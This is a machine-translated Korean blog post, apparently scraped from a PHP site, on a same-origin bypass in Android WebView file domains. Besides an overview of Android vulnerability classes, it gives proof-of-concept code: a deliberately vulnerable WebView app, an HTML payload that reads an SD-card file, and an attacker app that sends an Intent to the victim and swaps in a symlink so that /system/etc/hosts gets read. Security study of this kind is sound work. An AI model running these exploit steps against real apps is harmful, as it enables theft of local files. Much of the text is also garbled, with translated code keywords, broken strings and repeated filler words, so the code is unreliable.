운영 및 유지보수 안전 WebView 파일 도메인 원본 정책 우회 취약점 예시 분석

WebView 파일 도메인 원본 정책 우회 취약점 예시 분석

May 15, 2023 am 08:22 AM
file webview

Android 아키텍처에 대한 기본 지식

  • 커널 커널 계층
    취약점은 매우 해롭고 매우 다양합니다.
    드라이버의 수가 많고 복잡하기 때문에 허점이 많을 수도 있습니다

  • 라이브러리 시스템 런타임 라이브러리 계층

    • 시스템 미들웨어 형태로 제공되는 런타임 라이브러리는
      libc, WebKit, SQLite 등을 포함합니다.

    • AndroidRunTime
      Dalvik 가상 머신 및 커널 라이브러리

  • FrameWork 애플리케이션 프레임워크 레이어
    시리즈 제공 서비스 및 API 인터페이스

    앱 레이어
    • 시스템 애플리케이션
    • 홈 화면 홈, 연락처, 전화, 브라우저
    • 기타 애플리케이션
    • 애플리케이션 프레임워크 레이어의 API를 사용하여 개발자가 구현한 프로그램

    • Andoroid 공통 구성요소

    • 활동 활동

    서비스 서비스
  • BroadcastRecviver 방송 수신기

    • ContentProvider 콘텐츠 공급자


    • Android 앱 공통 취약점(OWASP) 모바일 Top 10) 플랫폼의 부적절한 사용

개요

플랫폼 기능 남용 또는 실패 플랫폼의 보안 제어를 사용하는 능력. 의도 오용, 권한 오용 등

  • 위험

    은 매우 광범위하며 모바일 플랫폼의 다양한 서비스와 관련될 수 있습니다.
  • 예를 들어
  • iOS 시스템에서는 비밀번호 데이터가 로컬 파일에 저장됩니다. 결과적으로, 의사 암호화된 백업 데이터에서 읽을 수 있습니다.
  • Android 시스템에서 Intent를 부적절하게 사용하면 악의적인 사용자가 Intent의 콘텐츠를 가로채서 수정하고 임의의 작업을 수행하게 됩니다. 원래 프로세스의 ID 권한

  • 안전하지 않은 데이터 저장소


  • 안전하지 않은 통신

  • 일반적인 취약점 및 마이닝 방법 데이터 저장소 취약점


  • 데이터 파일 또는 디렉터리

  • 텍스트 지우기 저장


  • MODE_PRIVATE
  • 텍스트 저장 공간 지우기

  • 생성 구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않습니다.

    구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않아 다른 프로그램에서 읽게 됩니다. 구성 파일
  • 일반 텍스트로 저장되고 루트 사용자가 읽을 수 있으므로 민감한 데이터가 유출됩니다

    • SharedPreferences
    • data/data/package name/shared_prefs/*.xml
    • SQLiteDatabases

      데이터/데이터 패키지 이름/데이터베이스/*.db


    • 내부 저장소
    • 데이터/데이터/프로그램 등록/파일/*

    • 외부 저장소

      /mnt/sdcard/*


    • 탐지 방법


    • /data/data/패키지명 디렉터리에 있는 다양한 파일과 디렉터리를 탐색하여 다른 사용자가 읽을 수 있는 파일이 있는지 확인하세요.

    • 민감한 일반 텍스트 정보가 있는지 확인하세요. 구성 파일, 데이터베이스 등


    • 마이닝 방법



    • 코드 감지
    openFileOutput, getSharedPrefreences, openOrCreateDatabase 등 확인 Functional 모드 매개변수가 MODE_PRIVATE(0x0000)인지 여부

    • 데이터 통신 취약점
    • HTTP와 같은 일반 텍스트 프로토콜을 사용하여 민감한 정보를 서버에 전송

    LAN 스니핑, 악성 공용 WIFI, 악성 프록시 서비스, DNS 하이재킹 및 기타 수단을 통해 일반 텍스트 통신을 캡처하여 결과를 초래합니다. 중간자 공격에 대비


  • SSL 인증서 약한 검증


    .method public checkServerTrusted 검색

    .method 및 종료 메소드 찾기

  • 있는지 확인하세요 is return-void
    • 마찬가지로 verify(String, SSLSession)의 반환 값이 항상 True인지 확인하고 X509HostnameVerifier의 매개 변수가 ALLOW_ALLHOSTNAME_VERIFIER

  • Fiddler의 HTTPS 구문 분석 기능을 활성화하고 Sign the에서 생성하고 내보냅니다. 인증서를 설치하고 전화기에 설치하세요


    Fiddler 프록시를 활성화하고 원격 호스트가 프록시에 연결되도록 허용

    • APP에서 SSL 인증서 확인 부족

      클라이언트는 X509TruestManager 클래스를 구현해야 합니다. checkServerTrustedcheckClientTrustedgetInstance 세 가지 방법을 포함하여
    • 인증서 확인 실패로 인해 예외가 발생하고 애플리케이션이 인증서 확인 예외를 처리합니다
    • 서버 인증서 확인에 실패하면 TLS 중간자 공격이 발생합니다
    • HttpsURLConnection을 사용할 때 호스트 이름을 확인할 때 사용자 지정 HostnameVerifier가 구현되지 않습니다. 기본적으로 인증서 도메인 이름이 사이트 이름과 일치하는지 확인하지 않습니다. 또는 HttpsURLConnection의 HostnameVerifier를 설정할 때 모든 도메인 이름을 허용하도록 ALLOW_ALL_HOSTNAME_VERIIER로 설정하세요.

    • 공격 방법
    • 마이닝 방법

    • SSL 인증서 강력한 확인
      X를 통과할 수 있습니다. p, 패치 등 . 우회 방법

    구성 요소 노출 취약성

    • Android:exported는 네 가지 주요 구성 요소에 공통된 속성으로, 다른 애플리케이션이 현재 구성 요소를 호출할 수 있는지 여부를 나타내는 데 사용됩니다.

    • 인텐트 필터가 있는 경우 기본값 값은 true, 그렇지 않으면 기본값은 false

    • 내보낸 내보낸 구성요소의 권한 제어

    • 인증 우회

      • 액티비티가 노출된 후 제3자에 의해 호출되며, 로그인이 가능합니다. /reset the 비밀번호 없이 비밀번호를

    • 민감한 정보 유출

      • recviver는 노출된 후 제3자에 의해 실행되었으며 디버깅 및 기타 정보에 포함된 민감한 정보가 열람될 수 있습니다

    • 권한 초과


      • 낮은 권한 프로그램 높은 권한 프로그램에 의해 노출된 구성 요소를 호출하여 높은 권한 작업 실행

    • 마이닝 방법



      • Android 매니페스트 보기

        Weak 암호화 취약점

      • Password Hardcoding

        경쟁, 루트보기 등을 얻을 수 있습니다. 세 가지 유형의 취약점이 포함됩니다:

    임의 코드 실행


    • 객체를 순회하는 웹페이지 작성 getClass 메소드가 있는 경우 원격 코드 실행 취약점이 있습니다

    • fiddler의 사전 스크립트는 모든 것을 허용할 수 있습니다. webview를 통해 모든 웹페이지에 액세스할 수 있습니다.

    Android 4.2 이상을 테스트한 후 addJavascriptInterface라는 주석이 달린 메서드를 웹페이지의 java 메서드로 호출할 수 있습니다. 필터링하지 않으면 허점이 있을 수 있습니다

      파기 방법:

      • 도메인 관리가 엄격하지 않습니다


      • setAllowFileAccess

      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs(원격 민감한 정보 공개)

      • 로컬 파일은 심볼릭 링크 공격을 통해 액세스할 수 있습니다. 아무리 제한되어 있어도 js는 이 파일에 액세스할 수 있습니다. 실행을 지연하고 현재 파일을 다른 파일을 가리키는 소프트 링크로 바꾸면 심볼릭 링크가 가리키는 파일을 읽을 수 있습니다

    • WebView가 JavaScript 지원을 켜고 파일을 실행하지 않는 경우:/ //제한 사항 켜기 쿠키, 개인 파일, 데이터베이스 및 기타 민감한 정보 형태의 URL이 유출됩니다
      • 비밀번호는 일반 텍스트로 저장됩니다.

        사용자가 WebViEW에 입력한 사용자 이름과 비밀번호를 저장하도록 선택하면 저장됩니다. 일반 텍스트로 앱 디렉토리의 data.db에 저장

        루트 권한이 있는 공격자가 읽을 수 있음
      • 취약점 마이닝 프로세스 요약

      • 정적 분석
      • 빠른 탐지, 핵심 분석 대상 확보


      • AndroidManifest 파일 확인

    • 스크립트 분석 Smali 코드

    동적 분석

    의심되는 위험 검증 및 위험 평가


    • 디버그 모드 분석
      • 작동/취약점 검증을 시도해보세요

      • drozer

      패킷 캡처 분석 데이터 및 인터페이스


    • 역분석
        로직 및 코드의 암호화 크래킹 및 추가 분석
      • -


      • 자동 지원 시스템


    • MobSF에는 프런트엔드 웹 인터페이스가 포함되어 있고,

      • Marvin에는 프런트엔드 웹 인터페이스가 포함되어 배포가 번거롭습니다


      • Inspeckage Xposed 플러그인

    • 오늘은 WebView 취약점에 대해 이야기하세요


      순수 텍스트 보기 코드 복사

    • ?
      • 샘플 코드 주소: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.

        또는 내 github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
      • 아래 코드의 주요 차이점은 이번에 로드된 Attack_file.html입니다

      • public 클래스 MainActivity는 Activity를 확장합니다 {
      • 개인 WebView webView;

        개인 문자열 url;
      문자열 mUrl1 = "file:///android_asset/html/attack_file.html"

    //문자열 mUrl2 = android_asset/html/test.html";

    @Override

    protected void onCreate(Bundle saveInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_main);

    webView = (WebView) findViewById(R.id.webview)

            webView.getSettings().setJavaScriptEnabled(true);  

            webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

            webView.getSettings().setAllowFileAccessFromFileURLs(true);  

            webView.setWebChromeClient(new WebChromeClient() {  

                @Override 

                    public boolean onJsAlert(WebView 뷰, 문자열 URL, 문자열 메시지, JsResult 결과) {  

                   //여기에 필수 기능  

                    return super.onJsAlert(view, URL, 메시지, 결과);  

                }  

            });  

            webView.loadUrl(mUrl1);  

        }  

        class JSInterface {  

            public String onButtonClick(String text) {  

                final String str = text;  > .e("leehong2", "onButtonClick: text = " + str);  

                        Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();  

                    }  

                });  

                return "이 텍스트는 Java 레이어에서 반환됩니다.  js text = " + text;  

            }  

            public void onImageClick(String url, int width, int height) {  

                final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;  

                Log.i("leehong2", str);  > ast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                    }  

                });  

            }  

        }  

    }

    这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

     我们再来看attack_file.html的代码:'

    <글꼴>  

    <몸>  

    <스크립트>  

    function SteelFile()  

    {  

        var file = "file:///mnt/sdcard/233.txt";  

        var xmlHttpReq = new XMLHttpRequest();  

        xmlHttpReq.onreadystatechange = function(){  

            if(xmlHttpReq.readyState == 4){  

                Alert(xmlHttpReq.responseText);  

            }  

        }  

    xmlHttpReq.open("GET", file);  

    xmlHttpReq.send(null);  

    }  

    stealFile();  

      

      

     

    由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt值。

    如果setAllowFileAccessFrom FileURLs는 false, webView입니다. load는 HTML이 불가능합니다/mnt/sdcard/2333.txt적입니다.

    即使setAllowFileAccessFromFileURLs는 false입니다. 다음으로.

    먼저 WebViewFileDemo1을 실행한 후 AttackWebView를 실행하여 WebView를 공격합니다.

    먼저 WebViewFileDemo1을 살펴보겠습니다. 주요 코드는 다음과 같습니다.

    package com.example.webviewfiledemo; p]

    import android.app.Activity;

    import android.net.Uri;

    import android.util.Log; android.webkit.JsResult;

    import android.webkit.WebView;

    import android.widget.Toast;

    private WebView webView; Uri mUri;

    private String url;

    @Override

    protected void onCreate(Bundle saveInstanceState) {

    super.onCreate(savedInstanceState);

    webView = findViewById(R.id.webview);

    webView.getSettings().setJavaScriptEnabled(true);

    webView.addJavascriptInterface(new JSInterface(), "jsInterface") webView.getSettings().setAllowFileAccessFromFile URLs(false );

          / /webView.getSettings().setAllowFileAccess(false);                                                                  ’ ’ ’를 사용하여 ‐ ‐ ‐ ‐                                            url, 문자열 메시지, JsResult 결과) {

                                                              여기서 필요한 기능

                                                               반품 super.onJsAlert(보기, URL, 메시지, 결과);

                                                                              if (i != null) {                                        's       통과하여 ' 통과 ' 통과 ' s 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 오프 아웃 오버 오버 오버 오버 오버 오버 오버 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 오버 스루 스루 스루 스루 스루 스루 오버 스루 스루 오버 '''' ‐'' into'‐' ‐‐‐‐‐‐‐‐‐‐ 함께 함께 떨어져 함께 함께 함께 함께 함께 함께 함께 함께 함께'''s'

                                                                                                           만약 (url != null) {

                webView.loadUrl(url) ;

    }

    }

    }

    이 Activity는 외부에서 Intent를 수신하고 Intent에서 URL을 추출하여 로드합니다. 그것.

    그럼 Intent를 com.example.webviewfiledemo.MainActivity로 보내는 프로젝트인 AttackWebView 프로젝트를 살펴보겠습니다. 코드는 다음과 같습니다.

    public class MainActivity extends Activity {

    public final static String HTML =

    "" +

    "몇 초만 기다리세요."

    “ <script>" + "var d = document;"+ "</p> <p> "function doitjs(){"+ </p> <p> "var xhr = new XMLHttpRequest;"+ </p> <p> "xhr.onload = function(){ "+ </p> <p> “var txt = xhr.responseText;”+ </p> <p> “d.body.appendChild(d.createTextNode(txt));”+ </p> <p> “alert(txt);"+"};" ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p>            "</script>"+  

                "";  

        공개 정적 문자열 MY_TMP_DIR;  

        @Override 

        protected void onCreate(Bundle saveInstanceState) {  

            super.onCreate(savedInstanceState);  

            setContentView(R.layout.activity_main);  

            MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

            doit();  

        }  

        public void doit() {  

            String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

            시도해보세요 {  

                cmdexec("mkdir " + MY_TMP_DIR);  

                cmdexec("echo "" + HTML + "" > " + HTML_PATH);  

                cmdexec("chmod -R 777 " + MY_TMP_DIR);  

                Thread.sleep(1000);  

                InvokeVulnAPP("file://" + HTML_PATH);  

                Thread.sleep(6000);  

                cmdexec("rm " + HTML_PATH);  

                cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  and      시도해 보세요 {  

                인텐트 인텐트 = 새 인텐트(Intent.ACTION_MAIN,Uri .parse(url));  

               intent.addCategory(Intent.CATEGORY_LAUNCHER);   

               intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

                startActivity(의도);  and    시도해 보세요 {  

                String[] tmp = new String[] { " /system/bin/sh", "-c", cmd };  

                Runtime.getRuntime().exec(tmp);  

            } catch(예외 e) {  

                // TODO: 예외 처리  

            }  

        }  

    }

    通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url ,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

    public final static String HTML =   

            "" +  

            "몇 초만 기다리세요." +   

            "<스크립트>" +  

            "var d = document;"+  

            "function doitjs(){"+  

            "var xhr = new XMLHttpRequest;"+  

            "xhr.onload = function(){"+  

           "var txt = xhr.responseText;"+  

            "d.body.appendChild(d.createTextNode(txt));"+  

            "alert(txt);"+"};"+  


            "xhr.open('GET ',d.URL);"+  

            "xhr.send(null);"+  

            "}"+  

    "setTimeout(doitjs,8000);"+

    ""+

    "";

    WebViewFileDemo1 프로젝트의 webView가 A0.html을 로드하면 이 html의 기능은 A0.html 자체를 읽는 데 8초를 지연시키는 것입니다. AttackWebView 프로젝트로 돌아가서 코드를 살펴보겠습니다.

    cmdexec("mkdir " + MY_TMP_DIR);

                 cmdexec("echo "" + HTML + "" > " + HTML_PATH)

                     | HTML_PATH);                                                Thread.sleep(6000);

                  cmdexec("ln -s " + "/system /etc/hosts" + " " + HTML_PATH);

    invokeVulnAPP 호출 후 6초 후 먼저 A0.html을 삭제합니다. , 그런 다음 /system/etc/hosts에 다시 소프트 연결합니다. 이때 WebViewFileDemo1 프로젝트의 webView가 A0.html을 로드할 때 이 html의 기능은 A0.html 자체 읽기를 8초 동안 지연시키는 것이므로 소프트 연결 /system/etc/hosts는 8초 후에 읽혀집니다.

위 내용은 WebView 파일 도메인 원본 정책 우회 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Hongmeng 네이티브 애플리케이션 무작위 시 Hongmeng 네이티브 애플리케이션 무작위 시 Feb 19, 2024 pm 01:36 PM

오픈 소스에 대해 자세히 알아보려면 다음을 방문하세요. 51CTO Hongmeng 개발자 커뮤니티 https://ost.51cto.com 실행 환경 DAYU200:4.0.10.16SDK: 4.0.10.15IDE: 4.0.600 1. 애플리케이션을 생성하려면 파일을 클릭합니다. >새파일->CreateProgect. 템플릿 선택: [OpenHarmony]EmptyAbility: 프로젝트 이름 shici, 애플리케이션 패키지 이름 com.nut.shici 및 애플리케이션 저장 위치 XXX(한자, 특수 문자, 공백 없음)를 입력합니다. CompileSDK10, 모델: 스테이지. 장치

Java의 File.length() 함수를 사용하여 파일 크기를 가져옵니다. Java의 File.length() 함수를 사용하여 파일 크기를 가져옵니다. Jul 24, 2023 am 08:36 AM

파일 크기를 얻으려면 Java의 File.length() 함수를 사용하십시오. 파일 크기는 파일 작업을 처리할 때 매우 일반적인 요구 사항입니다. Java는 파일 크기를 얻는 매우 편리한 방법, 즉 길이( ) File 클래스의 메서드입니다. 이 기사에서는 이 방법을 사용하여 파일 크기를 가져오는 방법을 소개하고 해당 코드 예제를 제공합니다. 먼저, 크기를 구하려는 파일을 나타내는 File 객체를 만들어야 합니다. File 객체를 생성하는 방법은 다음과 같습니다: Filef

PHP Blob을 파일로 변환하는 방법 PHP Blob을 파일로 변환하는 방법 Mar 16, 2023 am 10:47 AM

PHP Blob을 파일로 변환하는 방법: 1. PHP 샘플 파일을 생성합니다. 2. "function blobToFile(blob) {return new File([blob], 'screenshot.png', { type: 'image/jpeg' })를 통해 } ” 메소드를 사용하여 Blob을 파일로 변환할 수 있습니다.

Java의 File.renameTo() 함수를 사용하여 파일 이름 바꾸기 Java의 File.renameTo() 함수를 사용하여 파일 이름 바꾸기 Jul 25, 2023 pm 03:45 PM

Java의 File.renameTo() 함수를 사용하여 파일 이름을 바꿉니다. Java 프로그래밍에서는 파일 이름을 바꿔야 하는 경우가 많습니다. Java는 파일 작업을 처리하기 위해 File 클래스를 제공하며 renameTo() 함수는 파일 이름을 쉽게 바꿀 수 있습니다. 이 기사에서는 Java의 File.renameTo() 함수를 사용하여 파일 이름을 바꾸는 방법을 소개하고 해당 코드 예제를 제공합니다. File.renameTo() 함수는 File 클래스의 메서드입니다.

Java 13의 새로운 JavaFX WebView 구성 요소를 사용하여 웹 콘텐츠 표시 Java 13의 새로운 JavaFX WebView 구성 요소를 사용하여 웹 콘텐츠 표시 Aug 01, 2023 pm 01:09 PM

Java13의 새로운 JavaFXWebView 구성 요소를 사용하여 웹 컨텐츠를 표시하십시오. Java의 지속적인 개발로 인해 JavaFX는 크로스 플랫폼 그래픽 인터페이스를 구축하기 위한 주요 도구 중 하나가 되었습니다. JavaFX는 풍부한 그래픽 라이브러리와 구성 요소를 제공하므로 개발자는 다양한 사용자 인터페이스를 쉽게 만들 수 있습니다. 그중 JavaFXWebView 구성 요소는 JavaFX 응용 프로그램에서 웹 콘텐츠를 표시할 수 있는 매우 유용한 구성 요소입니다. Java13에서는 J

Java의 File.getParentFile() 함수를 사용하여 파일의 상위 디렉토리를 가져옵니다. Java의 File.getParentFile() 함수를 사용하여 파일의 상위 디렉토리를 가져옵니다. Jul 27, 2023 am 11:45 AM

Java의 File.getParentFile() 함수를 사용하여 파일의 상위 디렉터리를 가져옵니다. Java 프로그래밍에서는 파일과 폴더를 조작해야 하는 경우가 많습니다. 파일의 상위 디렉토리를 가져와야 할 경우 Java에서 제공하는 File.getParentFile() 함수를 사용할 수 있습니다. 이 문서에서는 이 함수를 사용하는 방법을 설명하고 코드 예제를 제공합니다. Java의 파일 클래스는 파일과 폴더를 조작하는 데 사용되는 주요 클래스입니다. 파일 속성을 얻고 조작하는 다양한 방법을 제공합니다.

Java의 File.getParent() 함수를 사용하여 파일의 상위 경로를 가져옵니다. Java의 File.getParent() 함수를 사용하여 파일의 상위 경로를 가져옵니다. Jul 24, 2023 pm 01:40 PM

Java의 File.getParent() 함수를 사용하여 파일의 상위 경로를 가져옵니다. Java 프로그래밍에서는 파일과 폴더를 조작해야 하는 경우가 많습니다. 때로는 파일이 있는 폴더의 경로인 파일의 상위 경로를 가져와야 하는 경우가 있습니다. Java의 File 클래스는 파일이나 폴더의 상위 경로를 가져오는 getParent() 메서드를 제공합니다. File 클래스는 파일 및 폴더에 대한 Java의 추상 표현입니다. 이는 파일 및 폴더를 작동하기 위한 일련의 메소드를 제공합니다. 그 중, 얻으세요.

Java에서 File.delete() 메소드를 사용하여 파일이나 디렉토리를 삭제하는 방법은 무엇입니까? Java에서 File.delete() 메소드를 사용하여 파일이나 디렉토리를 삭제하는 방법은 무엇입니까? Nov 18, 2023 am 08:02 AM

Java에서 File.delete() 메소드를 사용하여 파일이나 디렉토리를 삭제하는 방법은 무엇입니까? 개요: Java에서는 File 클래스의 delete() 메서드를 사용하여 파일이나 디렉터리를 삭제할 수 있습니다. 이 메소드는 지정된 파일이나 디렉토리를 삭제하는 데 사용됩니다. 그러나 이 방법은 다른 프로그램에서 열지 않은 빈 디렉터리나 파일만 삭제할 수 있다는 점에 유의해야 합니다. 파일 또는 디렉터리 삭제에 실패하는 경우 IOException을 포착하여 구체적인 이유를 찾을 수 있습니다. 1단계: 관련 패키지 가져오기 먼저, 다음이 필요합니다.

See all articles